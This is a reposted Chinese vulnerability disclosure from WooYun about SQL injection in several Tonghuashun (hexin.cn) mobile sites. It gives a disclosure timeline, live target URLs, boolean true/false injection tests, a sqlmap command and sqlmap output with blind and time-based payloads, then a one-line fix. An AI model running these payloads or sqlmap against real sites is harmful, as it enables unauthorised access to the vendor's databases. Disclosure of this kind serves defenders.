神刀安全网

漏洞标题: 同花顺多个站点SQL注入漏洞

漏洞详情

披露状态:

2016-04-22: 细节已通知厂商并且等待厂商处理中
2016-04-22: 厂商已经确认,细节仅向厂商公开
2016-05-02: 细节向核心白帽子及相关领域专家公开
2016-05-12: 细节向普通白帽子公开
2016-05-22: 细节向实习白帽子公开
2016-06-06: 细节向公众公开

简要描述:

同花顺多个站点SQL注入漏洞

详细说明:

移动站点的各种群集

http://wapdx.hexin.cn/lhj/dl_pt.php?ptid=765&ptname=java&verid=42&vername=%E9%A2%86%E8%88%AA%E5%AE%B6

http://hntel.hexin.cn/hntelxhtml/dlModelFile.php?brand=3g

各处存在不同的漏洞

/dlarea/dl_model.php?bid=1&bname=%E9%80%9A%E7%94%A8%E5%8C%BA&mid=1902&mname=1.5%E7%B3%BB%E7%BB%9F%E5%8F%8A%E4%BB%A5%E4%B8%8A&from=

漏洞证明:

http://wapdx.hexin.cn/lhj/dl_pt.php?ptid=765&ptname=java&verid=42 and 1=1&vername=%E9%A2%86%E8%88%AA%E5%AE%B6

返回正常

http://wapdx.hexin.cn/lhj/dl_pt.php?ptid=765&ptname=java&verid=42 and 1=2&vername=%E9%A2%86%E8%88%AA%E5%AE%B6

返回记录不存在

code 区域
python sqlmap.py -u "http://wapdx.hexin.cn/lhj/dl_pt.php?ptid=765&ptname=java&verid=42&vername=%E9%A2%86%E8%88%AA%E5%AE%B6"

code 区域
---
Parameter: ptid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: ptid=765 AND 3360=3360&ptname=java&verid=42&vername=%E9%A2%86%E8%88%AA%E5%AE%B6

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: ptid=765 AND SLEEP(5)&ptname=java&verid=42&vername=%E9%A2%86%E8%88%AA%E5%AE%B6
---
[13:18:13] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS
web application technology: Apache 2.2.22, PHP 5.6.10
back-end DBMS: MySQL 5.0.11

修复方案:

还是,加入通用防注入吧

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 同花顺多个站点SQL注入漏洞

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址